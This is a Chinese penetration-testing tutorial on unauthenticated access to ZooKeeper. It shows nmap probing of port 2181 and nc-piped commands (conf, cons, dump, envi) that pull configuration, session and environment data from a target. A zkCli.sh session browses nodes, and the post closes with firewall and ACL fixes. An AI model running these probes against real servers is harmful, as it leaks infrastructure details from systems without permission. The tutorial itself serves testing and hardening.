前言

  ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。

  zookeeper 未授权访问是指安装部署之后默认情况下不需要任何身份验证,从而导致 zookeeper 被远程利用,导致大量服务级别的信息泄露。

  默认使用端口:2181、2182。

探测Zookeeper服务开放

  如使用nmap探测某个目标地址是否运行Zookeeper服务,探测2181端口开放。

root@kali:~# nmap -Pn -p  xx.xx.xx.xx
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-21 01:56 EDT
Nmap scan report for xx.xx.xx.xx.static.sz.js.chinamobile.com (xx.xx.xx.xx)
Host is up (.016s latency). PORT STATE SERVICE
/tcp open eforward Nmap done: IP address ( host up) scanned in 0.22 seconds

  批量探测仅需修改一下对应的目标地址即可。

获取信息

conf命令

  输出相关服务配置的详细信息,端口、数据路径、日志路径、session 超时时间,最大连接数等。

root@kali:~# echo conf | nc xx.xx.xx.xx 
clientPort=
dataDir=/opt/data/zookeeper/data/version-
dataLogDir=/opt/data/zookeeper/data/version-
tickTime=
maxClientCnxns=
minSessionTimeout=
maxSessionTimeout=
serverId=

cons命令

  列出所有连接到当前服务器的客户端/会话的详细信息。

root@kali:~# echo cons | nc xx.xx.xx.xx  | more
/10.23.46.40:[](queued=,recved=,sent=,sid=0x1000000e029b16e,lop=PING,est=,to=,lcxid=0x33,lzxid=0x286a720,lresp=,llat=,minlat=,avglat=,maxlat=)
/10.23.46.39:[](queued=,recved=,sent=,sid=0x1000000e029b17c,lop=PING,est=,to=,lcxid=0x33,lzxid=0x286a71c,lresp=,llat=,minlat=,avglat=,maxlat=)

dump命令

  输出未处理的会话和临时节点,leader 节点有效。

root@kali:~# echo dump | nc xx.xx.xx.xx  | more
SessionTracker dump:
Session Sets ():
expire at Thu Jan :: CST :
expire at Thu Jan :: CST :
expire at Thu Jan :: CST :
0x1000000e01f0013
0x1000000e029fdde
0x1000000e029fe05
expire at Thu Jan :: CST :
0x1000000e02a4235
0x1000000e01f00e9
expire at Thu Jan :: CST :
0x1000000e01f067a
0x1000000e02a423c
0x1000000e01f0008
0x1000000e029fdf4
...

  非 leader 节点看不到什么相关信息。

envi命令

  输出服务器的详细信息。

root@kali:~# echo envi | nc xx.xx.xx.xx 
Environment:
zookeeper.version=3.4.-2d71af4dbe22557fda74f9a9b4309b15a7487f03, built on // : GMT
host.name=c1b69852-ac24-11e8-88d9-a4bf01306d06
java.version=1.7.0_80
java.vendor=Oracle Corporation
java.home=/usr/java/jdk1..0_80/jre
java.class.path=/opt/midware/zookeeper/bin/../build/classes:/opt/midware/zookeeper/bin/../build/lib/*.jar:/opt/midware/zookeeper/bin/../lib/slf4j-log4j12-1.7.25.jar:/opt/midware/zookeeper/bin/../lib/slf4j-api-1.7.25.jar:/opt/midware/zookeeper/bin/../lib/netty-3.10.6.Final.jar:/opt/midware/zookeeper/bin/../lib/log4j-1.2.17.jar:/opt/midware/zookeeper/bin/../lib/jline-0.9.94.jar:/opt/midware/zookeeper/bin/../lib/audience-annotations-0.5.0.jar:/opt/midware/zookeeper/bin/../zookeeper-3.4.13.jar:/opt/midware/zookeeper/bin/../src/java/lib/*.jar:/opt/midware/zookeeper/bin/../conf:
java.library.path=/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
java.io.tmpdir=/tmp
java.compiler=<NA>
os.name=Linux
os.arch=amd64
os.version=3.10.0-327.36.3.el7.x86_64
user.name=root
user.home=/root
user.dir=/

连接测试

安装工具

  如在kali下,可以用如下命令安装zookeeper工具,之后即可使用客户端连接工具zkCli.sh

# apt-get install zookeeper
...
#root@kali:~# cd /usr/share/zookeeper/bin/
#root@kali:/usr/share/zookeeper/bin# ls
zkCleanup.sh zkCli.sh zkEnv.sh zkServer.sh

连接目标

  使用-server参数指定目标即可连接。

root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:
Connecting to xx.xx.xx.xx:
Welcome to ZooKeeper!
JLine support is enabled
[zk: xx.xx.xx.xx:(CONNECTING) ] ... 已连接

获取系统相关信息

root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:
Connecting to xx.xx.xx.xx:
Welcome to ZooKeeper!
JLine support is enabled
[zk: xx.xx.xx.xx:(CONNECTING) ]
WATCHER:: WatchedEvent state:SyncConnected type:None path:null [zk: xx.xx.xx.xx:(CONNECTED) ] ls /
[service, pms, DsMaster, Resource, monitor_lock, zookeeper]
[zk: xx.xx.xx.xx:(CONNECTED) ] get / cZxid = 0x0
ctime = Wed Dec :: EST
mZxid = 0x0
mtime = Wed Dec :: EST
pZxid = 0x4c0
cversion =
dataVersion =
aclVersion =
ephemeralOwner = 0x0
dataLength =
numChildren =
[zk: xx.xx.xx.xx:(CONNECTED) ] get /service cZxid = 0x2
ctime = Thu Aug :: EDT
mZxid = 0x2
mtime = Thu Aug :: EDT
pZxid = 0x1cb884d
cversion =
dataVersion =
aclVersion =
ephemeralOwner = 0x0
dataLength =
numChildren =
[zk: xx.xx.xx.xx:(CONNECTED) ] getAcl /
'world,'anyone
: cdrwa

修复方案

1、设置防火墙策略限制 IP 访问
2、不要将 zookeeper 暴露在外网
3、设置用户认证和 ACL

参考

  zookeeper 未授权访问

     http://vic.pub/zookeeper-未授权访问/

Zookeeper未授权访问测试的更多相关文章

  1. ZooKeeper未授权访问漏洞确认与修复

    目录 探测2181 探测四字命令 用安装好zk环境的客户端连接测试 修复 修复步骤一 关闭四字命令 修复步骤二 关闭未授权访问 zookeeper未授权访问测试参考文章: https://www.cn ...

  2. zookeeper未授权访问渗透测试及修复方法

    zookeeper未授权访问危害 服务器信息泄露.集群被破坏 一. 四字命令未授权使用 1.1 测试 工具:netcat ,Linux或Windows都可以测 命令行输入echo envi | nc ...

  3. Zookeeper未授权访问

    l 漏洞名称: zookeeper未授权访问 l  漏洞影响版本: zookeeper l  漏洞细节: ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubb ...

  4. zookeeper未授权访问漏洞

    1.什么是zookeeper? ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,它是集群的管理者,监视着集群中各个节点的状态根据节点提交 ...

  5. ZooKeeper 未授权访问漏洞

    ZooKeeper 安装: Zookeeper的默认开放端口是2181 wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zooke ...

  6. ZooKeeper通过ACL修复未授权访问漏洞

    默认情况下ZooKeeper允许匿名访问,因此在安全漏洞扫描中暴漏未授权访问漏洞. 一.参考资料 <ZooKeeper 笔记(5) ACL(Access Control List)访问控制列表& ...

  7. zookeeper的未授权访问漏洞解决

    zookeeper的基本情况 zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务.zookeeper官网下载软件包,bin目录下有客户端脚本和服务端脚本.另外还有个工具 ...

  8. 【转+自己研究】新姿势之Docker Remote API未授权访问漏洞分析和利用

    0x00 概述 最近提交了一些关于 docker remote api 未授权访问导致代码泄露.获取服务器root权限的漏洞,造成的影响都比较严重,比如 新姿势之获取果壳全站代码和多台机器root权限 ...

  9. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

随机推荐

  1. 每天学会一点点(spring-mvc.xml与web.xml配置文件)

    1.spring-mvc.xml中拦截器的使用 首先在springMVC.xml配置如下代码: <!-- 拦截器 --> <mvc:interceptors> <bean ...

  2. Failed to execute goal on project e3-manager: Could not resolve dependencies for project cn.e3mall:e3-manager:pom:0.0.1-SNAPSHOT: Could not find artifact cn.e3mall:e3-parent:jar:0.0.1-SNAPSHOT

    新建好工程后一定要记得从底层开始clean和install 在启动新建的工程时到最后一步出现了这个问题: Failed to execute goal on project e3-manager-we ...

  3. Android开发:为什么我们从来不去感谢开源项目维护者?

    今天我想谈一谈,为什么我们很少去感谢开源项目维护者: 一.这样的项目我也可以做啊 “蛤?这项目对我来说也太简单了吧.” “我一周之内就能做一个更好的版本出来.” 确实,很多人都可以在 Hackatho ...

  4. Docker下kafka学习三部曲之二:本地环境搭建

    在上一章< Docker下kafka学习,三部曲之一:极速体验kafka>中我们快速体验了kafka的消息分发和订阅功能,但是对环境搭建的印象仅仅是执行了几个命令和脚本,本章我们通过实战来 ...

  5. centos开启nginx服务成功,却无法访问。没有开启80端口。centos配置防火墙 开启80端口

    Linux配置防火墙 开启80端口 编辑配置文件/etc/sysconfig/iptables [root@weixinht ~]# vim /etc/sysconfig/iptables 1 # F ...

  6. Hibernate,一对多,多对一

    Hibernate环境的配置 hibernate.cfg.xml的配置 <?xml version='1.0' encoding='utf-8'?> <!DOCTYPE hibern ...

  7. kubernetes部署高可用Harbor

    前言 本文Harbor高可用依照Harbor官网部署,主要思路如下,大家可以根据具体情况选择搭建. 部署Postgresql高可用集群.(本文选用Stolon进行管理,请查看文章<kuberne ...

  8. Python中使用高德API实现经纬度转地名

    场景 高德API提供给开发者们一些常用功能的接口,其中有一种叫地理/逆地理编码能实现 地名查询经纬度和经纬度查地名. 实现 高德API平台: https://lbs.amap.com/ 注册并登陆 找 ...

  9. Hibernate 框架简单解说

  10. 用vetr.x写一个HTTP接口适配器, 对接各种形式接口

    用vetr.x写一个HTTP接口适配器, 对接各种形式接口 项目地址:https://github.com/hjx601496320/transmit 业务说明 在日常开发工作中,我们经常会遇到要和各 ...